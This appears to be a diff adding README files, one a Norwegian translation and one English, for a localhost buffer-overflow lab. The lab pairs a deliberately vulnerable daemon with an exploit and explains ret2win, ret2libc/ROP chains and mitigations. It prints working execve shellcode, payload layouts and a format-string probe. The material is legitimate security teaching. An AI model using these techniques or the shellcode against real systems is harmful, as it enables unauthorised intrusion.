|
||||||
|
ikke det — det disassemblerer `food` og finner `lea -0x50(%rbp)` foran
|
||||||
|
`call read@plt`, så det fortsatt virker hvis du endrer `FOOD_BUFSZ`.
|
||||||
|
|
||||||
|
> gcc forteller deg allerede om dette. Å bygge `food` skriver ut:
|
||||||
|
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
|
||||||
|
> destination [-Wstringop-overflow=]`. Aldri undertrykk den advarselen i ekte
|
||||||
|
> kode. Den er gratis sikkerhet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## De tre teknikkene
|
||||||
|
|
||||||
|
`fooc -t <technique>`. De står i den rekkefølgen en ekte angriper ville
|
||||||
|
arbeidet seg gjennom dem, fordi hver enkelt trenger det den forrige lærte deg.
|
||||||
|
|
||||||
|
### 1. `ret2win` — kontroller instruksjonspekeren
|
||||||
|
|
||||||
|
```
|
||||||
|
[ 88 bytes søppel ][ adressen til food's win() ]
|
||||||
|
^ saved rbp
|
||||||
|
^ blir til RIP
|
||||||
|
```
|
||||||
|
|
||||||
|
`win()` er en funksjon i målprogrammet som exec'er `/bin/sh`. Å overskrive
|
||||||
|
returadressen med dens adresse er hele exploitet.
|
||||||
|
|
||||||
|
**Hva det lærer:** du har vilkårlig kontroll over instruksjonspekeren. Det
|
||||||
|
trenger heller ikke noe leak, fordi binærfilen er bygget `-no-pie`, så `win()`
|
||||||
|
sitter på en fast adresse for alltid.
|
||||||
|
|
||||||
|
**Den virkelige verdens ekvivalent** er ikke "angrep er enkle", men "ikke
|
||||||
|
send ut udokumenterte bakdører i nettverks-binærfiler". Hvis en funksjon som
|
||||||
|
`win()` finnes i binærfilen din, vil et bufferoverløp finne den. Det er
|
||||||
|
bokstavelig talt Juniper ScreenOS-bakdør-CVE-klassen.
|
||||||
|
|
||||||
|
**Forsvar:** `-fPIE` (eller ASLR) randomiserer lasteadressen, så angriperen må
|
||||||
|
kjenne adressen — noe som vanligvis betyr at de først trenger et leak. Derfor
|
||||||
|
feiler `ret2win` mot `food_hardened`.
|
||||||
|
|
||||||
|
### 2. `ret2libc` — kall hva som helst, ved navn
|
||||||
|
|
||||||
|
```
|
||||||
|
[ søppel ][ pop rdi; ret ][ adressen til "/bin/sh" ][ adressen til system() ]
|
||||||
|
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
|
||||||
|
setter rdi strengen å sende funksjonen å kalle
|
||||||
|
```
|
||||||
|
|
||||||
|
Ved utførelse: `ret` popper `pop rdi; ret` inn i RIP; det popper
|
||||||
|
`"/bin/sh"`-pekeren inn i `RDI`; dets `ret` popper `system()` inn i RIP, mens
|
||||||
|
`RDI` fortsatt holder strengen. `system("/bin/sh")` kjører.
|
||||||
|
|
||||||
|
Gadgets (`pop rdi; ret`) er ikke i `food` — denne glibc-en har ikke noe
|
||||||
|
`__libc_csu_init` — så `fooc` finner dem ved å skanne live libc-minne etter
|
||||||
|
byte-paret `5f c3`. Den lokaliserer libc via `/proc/self/maps`, finner
|
||||||
|
offsets for `system` og `"/bin/sh"` med `dlsym()` og beregner basen fra
|
||||||
|
leaket `food` publiserer. Ingenting er hardkodet, så det overlever en
|
||||||
|
libc-oppdatering.
|
||||||
|
|
||||||
|
**Hva det lærer:** når du først kan kontrollere `RIP`, kan du kjede sammen
|
||||||
|
*eksisterende* instruksjoner. Dette er return-oriented programming, og det er
|
||||||
|
slik nesten alle ekte exploits ser ut, fordi det ikke krever
|
||||||
|
angriperlevert kjørbart minne.
|
||||||
|
|
||||||
|
**Forsvar:** ingen av kompilator-flagene stopper dette alene. Det virker mot
|
||||||
|
en PIE-binærfil, med NX, med canary — så lenge angriperen har et leak.
|
||||||
|
Forsvarene er "ikke ha overløpet" og "ikke lek adresser." Se tabellen nedenfor.
|
||||||
|
|
||||||
|
### 3. `shellcode` — kjør din egen maskinkode
|
||||||
|
|
||||||
|
23 bytes, plassert ved starten av bufferen, med `RIP` pekende på dem:
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor esi, esi ; envp = NULL
|
||||||
|
xor edx, edx ; argv = NULL
|
||||||
|
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" som 8 rå bytes
|
||||||
|
push rdi ; legg strengen på stacken
|
||||||
|
mov rdi, rsp ; rdi = &"/bin/sh"
|
||||||
|
push 0x3b ; 59 = __NR_execve
|
||||||
|
pop rax
|
||||||
|
syscall ; vi er nå en shell
|
||||||
|
```
|
||||||
|
|
||||||
|
Dette er den reneste formen for feilen: angriperen leverer *instruksjonene*,
|
||||||
|
ikke bare adressen til instruksjoner som allerede finnes. Ingen libc-offsets
|
||||||
|
nødvendig, så det virker i prinsippet mot et statisk linket, fullt
|
||||||
|
randomisert mål.
|
||||||
|
|
||||||
|
`make verify` assemblerer `shellcode.S` og diff'er det mot byte-arrayet
|
||||||
|
innebygd i `fooc.c`, så de to ikke kan drive fra hverandre.
|
||||||
|
|
||||||
|
**Forsvar:** **NX** (også kalt W^X, "no execute"). Å markere stacken som
|
||||||
|
ikke-kjørbar gjør at maskinvaren nekter å hente instruksjoner fra den, og
|
||||||
|
`ret`-et lander på en side som ikke kan kjøres. Det er derfor `make food`
|
||||||
|
sender `-z execstack`: en vanlig Linux-stack er `rw-p`, ikke `rwx`, og
|
||||||
|
teknikken dør med SIGSEGV ved `RIP = payloadens adresse`. Den absolutt
|
||||||
|
viktigste leksjonen i laboratoriet er at hver eneste av disse bytene bare
|
||||||
|
virker fordi kompilatoren fikk beskjed om å la stacken være kjørbar. Det
|
||||||
|
flagget er på til gagn for ingen.
|
||||||
|
|
||||||
|
### Også inkludert
|
||||||
|
|
||||||
|
| Modus | Hva den gjør |
|
||||||
|
|---|---|
|
||||||
|
| `-t leak` | kobler til, skriver ut leaks, sender ingenting |
|
||||||
|
| `-t demo` | sender `rip_off + 8` bytes `0x41`, så `RIP` blir `0x4141...` og daemonen dør. Beviser feilen helt uten adressekunnskap |
|
||||||
|
| `-t sled` | et ret-sled, bevisst beholdt som et **feilende** eksempel. Uten et leak ville du brute-force ASLR ved å fylle bufferen med adressen til et `ret`. Det kan ikke virke her: `food` aksepterer 512 bytes, så sleden har ~53 slots mot ~28 bits entropi. Implementert så du kan se det feile og bekrefte at mekanismen virkelig er "CPU-en følger en kjede av rets" |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Mottiltak-tabellen
|
||||||
|
|
||||||
|
Dette er delen å huske. Hver rad er et ekte forsvar, og høyre kolonne viser hva
|
||||||
|
den faktisk gjør med hendelseskjeden.
|
||||||
|
|
||||||
|
| Mottiltak | Slik aktiverer du | Hva den stopper | Hva den *ikke* stopper |
|
||||||
|
|---|---|---|---|
|
||||||
|
| **Begrens read** | `n = read(fd, buf, sizeof buf - 1);` | **Alt.** Feilen finnes ikke, så ingenting nedstrøms betyr noe | Ingenting — dette er den eneste fullstendige fixen |
|
||||||
|
| **Stack-canary** | `-fstack-protector-strong` (gccs standard) | `ret`-et: canaryen sjekkes ved funksjonsavslutningen, så smadringen oppdages og prosessen aborter før `RIP` poppes | En feil i en funksjon *uten* array (ingenting å beskytte); et overløp som holder seg under canaryen; alt som ikke returnerer normalt |
|
||||||
|
| **NX / W^X** | `-z noexecstack` (standarden) | Shellcode. Payloadens egne instruksjoner kan ikke hentes | ret2win og ret2libc fullstendig. Disse er *grunnen* til at ROP finnes |
|
||||||
|
| **PIE + ASLR** | `-fPIE` + ASLR=2 (begge standard) | ret2wins hardkodede adresser. Alt flytter seg ved hver kjøring | Alt der angriperen har et leak. ASLR hever prisen på et exploit; det er ikke en fix. Merk at stack, heap og mmap randomiseres, men hoved-binærfilens *innhold* gjør det ikke — det er det ROP-kjeder bruker |
|
||||||
|
| **Ikke lek** | ingen `printf("%p")` til klienter; initialiser før du skriver ut | Informasjonsleaket som gjør ASLR fra "dyrt" til "gratis" | — |
|
||||||
|
| **Ikke bruk `printf(user_data)`** | `printf("%s", buf)` i stedet for `printf(buf)` | Format-streng-feil: `%x`-stack-reads, `%n`-vilkårlige skrivninger, som er en *annen* vei til RCE | — |
|
||||||
|
| **Ikke bruk upålitelige stier** | valider og `openat()` under en fast mappe | Sti-traversal (CWE-22) | — |
|
||||||
|
| **CET / shadow stack** | `-fcf-protection=full`, kjernens og CPU-ens støtte | `ret`-et selv: shadow stacken husker den *ekte* returadressen og feiler ved mismatch. Fanger ROP-kjeder som bruker maskinvare-`ret` | Angrep som aldri `ret`-er (call-oriented, eller å overskrive en funksjonspekermål med en gadget-kjede som ikke trenger retur) |
|
||||||
|
| **Sikre språk** | Rust, Go, C# for ny kode | Hele klassen. Bounds-sjekker utføres ved kjøring, ikke håpet på ved review | — |
|
||||||
|
|
||||||
|
### Se det selv
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make run # sårbar daemon
|
||||||
|
make test # alle tre teknikkene virker
|
||||||
|
|
||||||
|
make test-hardened # samme kildekode, mottiltak på
|
||||||
|
```
|
||||||
|
|
||||||
|
`test-hardened` bygger `food_hardened` med `-fstack-protector-strong -fPIE -pie
|
||||||
|
-z noexecstack`, bytter den inn, kjører alle tre igjen og legger så den
|
||||||
|
sårbare tilbake. Du vil se:
|
||||||
|
|
||||||
|
```
|
||||||
|
### stack segment: 'rw-p' (NOT executable) is what you want to see
|
||||||
|
--- ret2win was stopped by the mitigations (as expected)
|
||||||
|
--- ret2libc was stopped by the mitigations (as expected)
|
||||||
|
--- shellcode was stopped by the mitigations (as expected)
|
||||||
|
```
|
||||||
|
|
||||||
|
Og i den hardnede daemonens logg, canaryen som utløses:
|
||||||
|
|
||||||
|
```
|
||||||
|
*** stack smashing detected ***: terminated
|
||||||
|
```
|
||||||
|
|
||||||
|
Les det nøye, for det er den viktigste linjen i hele laboratoriet: **canaryen
|
||||||
|
fanget ret2win, ikke PIE.** Alle tre teknikkene dør ved canaryen, fordi alle
|
||||||
|
tre går gjennom det samme `read()` og ødelegger den samme rammen. NX stopper
|
||||||
|
bare i tillegg shellcodens *kode*; PIE bryter bare i tillegg den hardkodede
|
||||||
|
adressen. Slå dem på enkeltvis, og du vil oppdage at de fleste enkeltstående
|
||||||
|
mottiltak etterlater deg utsatt for noe.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Filer
|
||||||
|
|
||||||
|
| Fil | Formål |
|
||||||
|
|---|---|
|
||||||
|
| `food.c` | den sårbare daemonen. 6 nummererte feil, hver med sin fix i kommentaren |
|
||||||
|
| `fooc.c` | exploitet. objdump-basert offset-oppdagelse, `/proc`-basert libc-oppdagelse, 4 payload-byggere |
|
||||||
|
| `shellcode.S` | de 23 shellcode-bytende som assembly, så de kan leses og verifiseres. `fooc` bærer dem inline og trenger ikke dette ved kjøring |
|
||||||
|
| `Makefile` | bygger, tester og den hardnede sammenligningen |
|
||||||
|
| `tests/pty_test.c` | driver `fooc` gjennom et pseudo-terminal og sjekker for ekte shell-output |
|
||||||
|
| `tests/sock_test.c` | uavhengig verifikator over en rå socket, så resultatet ikke avhenger av `fooc` |
|
||||||
|
| `food.log` | daemonens logg. Beviset ditt på hva som skjedde |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## To feil i dette laboratoriet som er verdt å forstå
|
||||||
|
|
||||||
|
Dette er ikke målprogrammets feil. Det er feil i exploitet og i dets
|
||||||
|
test-harness, og begge produserte overbevisende løgner. De er dokumentert i
|
||||||
|
kilden der de bor; her står de fordi sviktmønstrene er lærerike.
|
||||||
|
|
||||||
|
### Stack-justering: krasjet som ikke er en NULL-dereferanse
|
||||||
|
|
||||||
|
**Symptom.** Kapringen lander korrekt — `gdb` viser deg i `win()` — og så dør
|
||||||
|
det aller første `win()` gjør, en `dprintf()`. `SIGSEGV`-handleren rapporterer
|
||||||
|
`RIP` dypt inne i glibcs formatter og en feiladresse på `(nil)`, noe som ser
|
||||||
|
nøyaktig ut som en korrupt peker.
|
||||||
|
|
||||||
|
**Årsak.** System V AMD64-ABI-en krever 16-byte stack-justering. Et normalt
|
||||||
|
`ret` gjenoppretter `%rsp` til nøyaktig det det matchende `call` lagret, så
|
||||||
|
invarianten bevares gratis. Vårt nakne `ret` gjør ikke det: etter det gjelder
|
||||||
|
`%rsp = buf + rip_off`. Her er `buf` 16-byte justert og `rip_off` er 88, så
|
||||||
|
callee-en får en stack som er 8 mod 16. glibc er kompilert med SSE2, og
|
||||||
|
`movaps` **feiler** på et feiljustert operand. På x86 reiser det `#GP`, ikke
|
||||||
|
`#PF`, så kjernen har ingen feiladresse og rapporterer `si_addr = 0`. Det
|
||||||
|
NULL-et er fingerpeket: en justeringsfeil forkledd som en NULL-dereferanse.
|
||||||
|
|
||||||
|
**Fix.** Én `ret`-gadget *ved offset `rip_off`*, som flytter det ekte målet 8
|
||||||
|
bytes opp, siden hvert `ret` legger nøyaktig 8 til `%rsp`. Rekkefølgen er
|
||||||
|
kritisk: en tidligere versjon la `ret`-et *etter* målet og produserte
|
||||||
|
`[ padding | target | ret ]`, der det avsluttende `ret`-et aldri nås og fixen
|
||||||
|
stille og rolig ikke gjør noe. Et påfallende `ret` som ser ut som en feil, er
|
||||||
|
nesten alltid bevisst.
|
||||||
|
|
||||||
|
### Én socket, to lesere: byten som forsvant
|
||||||
|
|
||||||
|
**Symptom.** Shellcode ble rapportert som fungerende. Så ble pty-harnessen
|
||||||
|
gjort strengere (slå av `ECHO`, så terminalen sluttet å ekkoe harnessens egen
|
||||||
|
kommandolinje tilbake til seg), og teknikken begynte å feile. Under alt sammen
|
||||||
|
mistet hver teknikk nøyaktig én byte fra starten av hver utgangs-chunk:
|
||||||
|
`uid=1000(hanez)` ble skrevet ut som `id=1000(hanez)`, `PWNED-OK` som
|
||||||
|
`WNED-OK`, `Linux 7.2.7` som `inux 7.2.7`.
|
||||||
|
|
||||||
|
**Årsak.** `fooc` pleide å `dup2()`e socketen inn på sitt eget stdin/stdout
|
||||||
|
og `execv()`e en *lokal* `/bin/sh`, mens et forket relay-barn også leste den
|
||||||
|
samme socketen for å flytte utdata til terminalen. Kjernen bryr seg ikke om at
|
||||||
|
de to samarbeider. En streamsocket har **én** lese-cursor, og hver leser flytter
|
||||||
|
den, så bytes deles uforutsigbart mellom dem. Den lokale shellen, som er en
|
||||||
|
interaktiv login-shell, leste nøyaktig én byte og kastet den — hver eneste
|
||||||
|
gang. `strace -f` viste det umiddelbart:
|
||||||
|
|
||||||
|
```
|
||||||
|
read(0, "u", 1) <- den lokale shellen, spiser en byte
|
||||||
|
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- relayet, 1 byte for kort
|
||||||
|
```
|
||||||
|
|
||||||
|
**Fix.** Det er ingen shell på denne siden i det hele tatt. Det er nøyaktig én
|
||||||
|
shell i hele bildet, og den er på offeret, inne i den kaprede prosessen, med
|
||||||
|
TCP-tilkoblingen som sin stdin/stdout. Denne siden flytter bare bytes. Hvis du
|
||||||
|
noen gang trenger to forbrukere av en stream, trenger den streamen én eneste
|
||||||
|
leser som bevisst demultiplekser den.
|
||||||
|
|
||||||
|
**Meta-leksjonen.** Det første "fungerende" resultatet var et falskt positivt
|
||||||
|
produsert av at pty-en ekkoet harnessens egen kommandolinje tilbake til den, og
|
||||||
|
fixen for det falske positive er det som avslørte den ekte feilen. Tester som
|
||||||
|
ikke kan feile, er verre enn ingen tester, fordi de forvandler "jeg vet ikke"
|
||||||
|
til "det virker." En test-harness fortjener samme mistenksomhet som koden den
|
||||||
|
tester.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Å eksperimentere med det
|
||||||
|
|
||||||
|
Ting som er verdt å prøve, omtrent i den rekkefølgen du lærer mest av dem:
|
||||||
|
|
||||||
|
1. **Endre `FOOD_BUFSZ` til 128.** Kjør `fooc` igjen. Det burde fortsatt virke
|
||||||
|
uten endringer, fordi det leser offsetet ut av disassembly-en. Bryt det så
|
||||||
|
for hånd — hardkod 88 — og se det krasje. Legg så til et andre array mellom
|
||||||
|
`buf` og de lagrede registrene, og se den automatiske oppdagelsen håndtere
|
||||||
|
det.
|
||||||
|
|
||||||
|
2. **Legg til `-Wformat-security` og se hva format-streng-stien gjør.** Send
|
||||||
|
`%p %p %p %n` og se `food` lekke stacken.
|
||||||
|
|
||||||
|
3. **Bruk gdb.** `make debug`, deretter:
|
||||||
|
```gdb
|
||||||
|
(gdb) break food.c:393 # det read() som renner over
|
||||||
|
(gdb) run -p 2342
|
||||||
|
(gdb) info registers rsp rbp
|
||||||
|
(gdb) x/24gx $rsp # legg merke til hvor returadressen ligger
|
||||||
|
(gdb) c # i et annet terminal: ./fooc -t ret2win
|
||||||
|
```
|
||||||
|
`SIGSEGV`-handleren logger `REG_RIP` og `REG_RSP`, så `food.log` forteller
|
||||||
|
deg om kapringen landet, selv når barnet dør før du kan koble deg på.
|
||||||
|
|
||||||
|
4. **Slett justeringsfixen** i `fooc.c` og se `#GP`-feilen med
|
||||||
|
`si_addr = 0`-signaturen. Les så `/proc/sys/kernel/randomize_va_space` og
|
||||||
|
tenk over hva ASLR randomiserer, og hva det ikke gjør.
|
||||||
|
|
||||||
|
5. **Bryt libc-symboloppløsningen** og se `fooc` tilpasse seg. Hele poenget
|
||||||
|
med `/proc/self/maps`-tilnærmingen er at intet offset er hardkodet.
|
||||||
|
|
||||||
|
6. **Skriv en fjerde teknikk.** En `ret2csu`-lignende kjede hvis du kan finne
|
||||||
|
`__libc_csu_init`, eller en SROP-kjede (`sigreturn`-rammer lar deg
|
||||||
|
kontrollere alle registre på én gang). Begge er rent ROP og trenger ikke
|
||||||
|
kjørbart minne.
|
||||||
|
|
||||||
|
7. **Fix `food.c` ordentlig**, én feil om gangen, og kjør exploitet igjen etter
|
||||||
|
hver fix. Rekkefølgen i tabellen øverst i `food.c` er omtrent den riktige
|
||||||
|
rekkefølgen å tenke i: begrens først read-et, for ingenting annet betyr noe
|
||||||
|
før feilen er borte.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Opprydding
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make stop # stopper food
|
||||||
|
make clean # fjerner byggeprodukter; lar food.log være i fred
|
||||||
|
pkill -x sh # bare hvis du har løse shells fra en test som gikk skeis
|
||||||
|
```
|
||||||
|
|
||||||
|
Merk at `pkill -x food` matcher prosess**navnet** nøyaktig. Ikke bruk
|
||||||
|
`pkill -f ./food` — det mønsteret matcher også shellen du skrev det i, og
|
||||||
|
dreper din egen sesjon. Det er ikke en hypotese; det skjedde mens dette ble
|
||||||
|
bygget.
|
||||||
409
README.md
Normal file
409
README.md
Normal file
|
|
@ -0,0 +1,409 @@
|
||||||
|
# food / fooc — a stack buffer overflow, from both sides
|
||||||
|
|
||||||
|
A C99 security lab in two halves:
|
||||||
|
|
||||||
|
- **`food.c`** — an intentionally vulnerable TCP daemon. It has a real,
|
||||||
|
textbook stack buffer overflow (CWE-120), and a few more bugs besides.
|
||||||
|
- **`fooc.c`** — an exploit for it. It computes the overflow offset by
|
||||||
|
disassembling the target at runtime, reads address leaks from the daemon, and
|
||||||
|
gets a shell on the "victim" by overwriting a saved return address.
|
||||||
|
|
||||||
|
The point is not the shell. The point is that you can watch, end to end, how a
|
||||||
|
memory-safety mistake turns into arbitrary code execution — and then see exactly
|
||||||
|
which mitigations stop each step of that chain. Every line of both programs is
|
||||||
|
commented, because the mechanism is the lesson.
|
||||||
|
|
||||||
|
```
|
||||||
|
your terminal
|
||||||
|
|
|
||||||
|
./fooc (exploit)
|
||||||
|
|
|
||||||
|
TCP 127.0.0.1:2342
|
||||||
|
|
|
||||||
|
./food (vulnerable daemon)
|
||||||
|
|
|
||||||
|
fork() -> vulnerable_handler() -> overflow -> ret -> your code
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚠️ Read this first
|
||||||
|
|
||||||
|
**`food` is a deliberately broken network service. It binds to `127.0.0.1`
|
||||||
|
only, and that default is deliberate — please leave it there.**
|
||||||
|
|
||||||
|
- Do **not** run it on a machine you care about, or on anything with data on it.
|
||||||
|
- Do **not** bind it to `0.0.0.0` or a real interface. It is remotely
|
||||||
|
exploitable by design.
|
||||||
|
- Pointing `fooc` at a host you do not own or have written permission to test
|
||||||
|
is a computer intrusion offence in most jurisdictions, including under the UK
|
||||||
|
Computer Misuse Act and the US Computer Fraud and Abuse Act.
|
||||||
|
- It binds to an unprivileged port (>1024), so you do not need root. Do not
|
||||||
|
"improve" it by adding capabilities or running it as a system service.
|
||||||
|
- Every connection is handled in a `fork()`ed child, and `food` reaps it, so
|
||||||
|
crashes do not accumulate. If you find yourself with dozens of stray `sh`
|
||||||
|
processes afterwards, `pkill -x sh` is the cleanup.
|
||||||
|
|
||||||
|
If in doubt: this lab is for a virtual machine or a container, on a network
|
||||||
|
you control, on a machine with nothing you would miss.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Quick start
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make # build food, fooc, and the test harnesses
|
||||||
|
make run # start food on 127.0.0.1:2342, detached
|
||||||
|
make test # run all three exploit techniques
|
||||||
|
make stop # stop the daemon
|
||||||
|
```
|
||||||
|
|
||||||
|
Then, by hand:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
./fooc -t leak # see the address leaks food hands out
|
||||||
|
./fooc -t demo -v # send junk; watch food die with SIGSEGV
|
||||||
|
./fooc -t ret2win -i # jump to a function that already exists -> shell
|
||||||
|
```
|
||||||
|
|
||||||
|
### Requirements
|
||||||
|
|
||||||
|
| Tool | Needed for | Notes |
|
||||||
|
|---|---|---|
|
||||||
|
| `gcc` (or clang) | building | C99. Tested on gcc 16.2 |
|
||||||
|
| `objdump` | `fooc` | binutils. `fooc` shells out to it at runtime |
|
||||||
|
| `nasm` | `make verify` | only to cross-check the shellcode; skipped if absent |
|
||||||
|
| `gdb` | `make debug` | optional |
|
||||||
|
| Linux, x86-64 | both | the payload and gadget hunting are arch-specific |
|
||||||
|
|
||||||
|
`fooc` also needs `-ldl` for `dlsym()`; the Makefile handles that.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The bug
|
||||||
|
|
||||||
|
One line in `food.c` is the whole exploit surface:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[FOOD_BUFSZ]; /* 64 bytes */
|
||||||
|
n = read(fd, buf, FOOD_READMAX); /* up to 512 bytes from the network */
|
||||||
|
```
|
||||||
|
|
||||||
|
64 bytes of destination, 512 bytes accepted. The attacker overwrites 448 bytes
|
||||||
|
past the end of the buffer, and because the stack grows downwards, "past the
|
||||||
|
end" means "into the frame above" — which is where the saved frame pointer and
|
||||||
|
the **saved return address** live.
|
||||||
|
|
||||||
|
In a compiled x86-64 function at `-O0`:
|
||||||
|
|
||||||
|
```
|
||||||
|
high addresses
|
||||||
|
+------------------------+ rbp + 16 : caller locals
|
||||||
|
| ... |
|
||||||
|
+------------------------+ rbp + 8 : SAVED RETURN ADDRESS <-- becomes RIP
|
||||||
|
| saved rbp (8 bytes) |
|
||||||
|
+------------------------+ rbp : our frame pointer
|
||||||
|
| line[128] |
|
||||||
|
| buf[64] | <- rsp: what read() fills
|
||||||
|
+------------------------+
|
||||||
|
low addresses
|
||||||
|
```
|
||||||
|
|
||||||
|
When the function returns, `leave; ret` pops that 8 bytes into `RIP` and the CPU
|
||||||
|
jumps wherever the attacker chose. Everything else in this lab is arithmetic
|
||||||
|
about where to point it.
|
||||||
|
|
||||||
|
For this build the numbers are: `buf` is 64 bytes, the saved `rbp` is 8, so the
|
||||||
|
return address sits at offset **88** from the start of `buf`. `fooc` does not
|
||||||
|
hardcode that — it disassembles `food` and finds the `lea -0x50(%rbp)` that
|
||||||
|
precedes the `call read@plt`, so it keeps working if you change `FOOD_BUFSZ`.
|
||||||
|
|
||||||
|
> gcc already tells you about this. Building `food` prints:
|
||||||
|
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
|
||||||
|
> destination [-Wstringop-overflow=]`. Never suppress that warning in real code.
|
||||||
|
> It is free security.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The three techniques
|
||||||
|
|
||||||
|
`fooc -t <technique>`. They are in the order a real attacker would work
|
||||||
|
through them, because each one needs what the previous one taught you.
|
||||||
|
|
||||||
|
### 1. `ret2win` — control the instruction pointer
|
||||||
|
|
||||||
|
```
|
||||||
|
[ 88 bytes of junk ][ address of food's win() ]
|
||||||
|
^ saved rbp
|
||||||
|
^ becomes RIP
|
||||||
|
```
|
||||||
|
|
||||||
|
`win()` is a function in the target that execs `/bin/sh`. Overwriting the return
|
||||||
|
address with its address is the entire exploit.
|
||||||
|
|
||||||
|
**What it teaches:** you have arbitrary control of the instruction pointer. It
|
||||||
|
also needs no leak, because the binary is built `-no-pie`, so `win()` sits at a
|
||||||
|
fixed address forever.
|
||||||
|
|
||||||
|
**The real-world equivalent** is not "attacks are easy" but "do not ship
|
||||||
|
undocumented backdoors in networked binaries." If a function like `win()` exists
|
||||||
|
in your binary, a buffer overflow will find it. That is literally the Juniper
|
||||||
|
ScreenOS backdoor CVE class.
|
||||||
|
|
||||||
|
**Defence:** `-fPIE` (or ASLR) randomises the load address, so the attacker
|
||||||
|
must know the address — which usually means they need a leak first. That is why
|
||||||
|
`ret2win` fails against `food_hardened`.
|
||||||
|
|
||||||
|
### 2. `ret2libc` — call anything, by name
|
||||||
|
|
||||||
|
```
|
||||||
|
[ junk ][ pop rdi; ret ][ address of "/bin/sh" ][ address of system() ]
|
||||||
|
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
|
||||||
|
sets rdi the string to pass the function to call
|
||||||
|
```
|
||||||
|
|
||||||
|
At execution time: `ret` pops `pop rdi; ret` into RIP; that pops the `"/bin/sh"`
|
||||||
|
pointer into `RDI`; that `ret` pops `system()` into RIP, with `RDI` still
|
||||||
|
holding the string. `system("/bin/sh")` runs.
|
||||||
|
|
||||||
|
The gadgets (`pop rdi; ret`) are not in `food` — this glibc has no
|
||||||
|
`__libc_csu_init` — so `fooc` finds them by scanning live libc memory for the
|
||||||
|
byte pair `5f c3`. It locates libc via `/proc/self/maps`, finds the offsets of
|
||||||
|
`system` and `"/bin/sh"` with `dlsym()`, and computes the base from the leak
|
||||||
|
`food` publishes. Nothing is hardcoded, so it survives a libc update.
|
||||||
|
|
||||||
|
**What it teaches:** once you can control `RIP`, you can chain *existing*
|
||||||
|
instructions. This is return-oriented programming, and it is what nearly all
|
||||||
|
real-world exploitation looks like, because it needs no attacker-supplied
|
||||||
|
executable memory.
|
||||||
|
|
||||||
|
**Defence:** none of the compiler flags stop this on their own. It works
|
||||||
|
against a PIE binary, with NX, with a canary — as long as the attacker has a
|
||||||
|
leak. The defences are "do not have the overflow" and "do not leak addresses."
|
||||||
|
See the table below.
|
||||||
|
|
||||||
|
### 3. `shellcode` — run your own machine code
|
||||||
|
|
||||||
|
23 bytes, placed at the start of the buffer, with `RIP` pointed at them:
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor esi, esi ; envp = NULL
|
||||||
|
xor edx, edx ; argv = NULL
|
||||||
|
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" as 8 raw bytes
|
||||||
|
push rdi ; put the string on the stack
|
||||||
|
mov rdi, rsp ; rdi = &"/bin/sh"
|
||||||
|
push 0x3b ; 59 = __NR_execve
|
||||||
|
pop rax
|
||||||
|
syscall ; we are now a shell
|
||||||
|
```
|
||||||
|
|
||||||
|
This is the purest form of the bug: the attacker supplies the *instructions*,
|
||||||
|
not just the address of instructions that already exist. No libc offsets needed,
|
||||||
|
so in principle it works against a statically linked, fully randomised target.
|
||||||
|
|
||||||
|
`make verify` assembles `shellcode.S` and diffs it against the byte array
|
||||||
|
embedded in `fooc.c`, so the two cannot drift apart.
|
||||||
|
|
||||||
|
**Defence:** **NX** (a.k.a. W^X, "no execute"). Marking the stack
|
||||||
|
non-executable makes the hardware refuse to fetch instructions from it, and the
|
||||||
|
`ret` lands on a page that cannot run. This is why `make food` passes
|
||||||
|
`-z execstack`: a stock Linux stack is `rw-p`, not `rwx`, and the technique
|
||||||
|
dies with SIGSEGV at `RIP = the payload's address`. The single most important
|
||||||
|
lesson in the lab is that every one of these bytes only works because the
|
||||||
|
compiler was told to leave the stack executable. That flag is on for nobody's
|
||||||
|
benefit.
|
||||||
|
|
||||||
|
### Also included
|
||||||
|
|
||||||
|
| Mode | What it does |
|
||||||
|
|---|---|
|
||||||
|
| `-t leak` | connects, prints the leaks, sends nothing |
|
||||||
|
| `-t demo` | sends `rip_off + 8` bytes of `0x41`, so `RIP` becomes `0x4141...` and the daemon dies. Proves the bug with no address knowledge at all |
|
||||||
|
| `-t sled` | a ret sled, deliberately kept as a **failing** example. Without a leak you would brute-force ASLR by filling the buffer with the address of a `ret`. It cannot work here: `food` accepts 512 bytes, so the sled is ~53 slots against ~28 bits of entropy. Implemented so you can watch it fail, and confirm the mechanism really is "the CPU follows a chain of rets" |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The mitigation table
|
||||||
|
|
||||||
|
This is the part to remember. Each row is a real defence, and the right-hand
|
||||||
|
column is what it actually does to the chain of events.
|
||||||
|
|
||||||
|
| Mitigation | How to enable | What it stops | What it does *not* stop |
|
||||||
|
|---|---|---|---|
|
||||||
|
| **Bound the read** | `n = read(fd, buf, sizeof buf - 1);` | **Everything.** The bug does not exist, so nothing downstream matters | Nothing — this is the only complete fix |
|
||||||
|
| **Stack canary** | `-fstack-protector-strong` (gcc's default) | The `ret`: the canary is checked on function exit, so the smash is detected and the process aborts before `RIP` is popped | A bug in a function with *no* array (nothing to protect); an overflow that stays under the canary; anything that does not return normally |
|
||||||
|
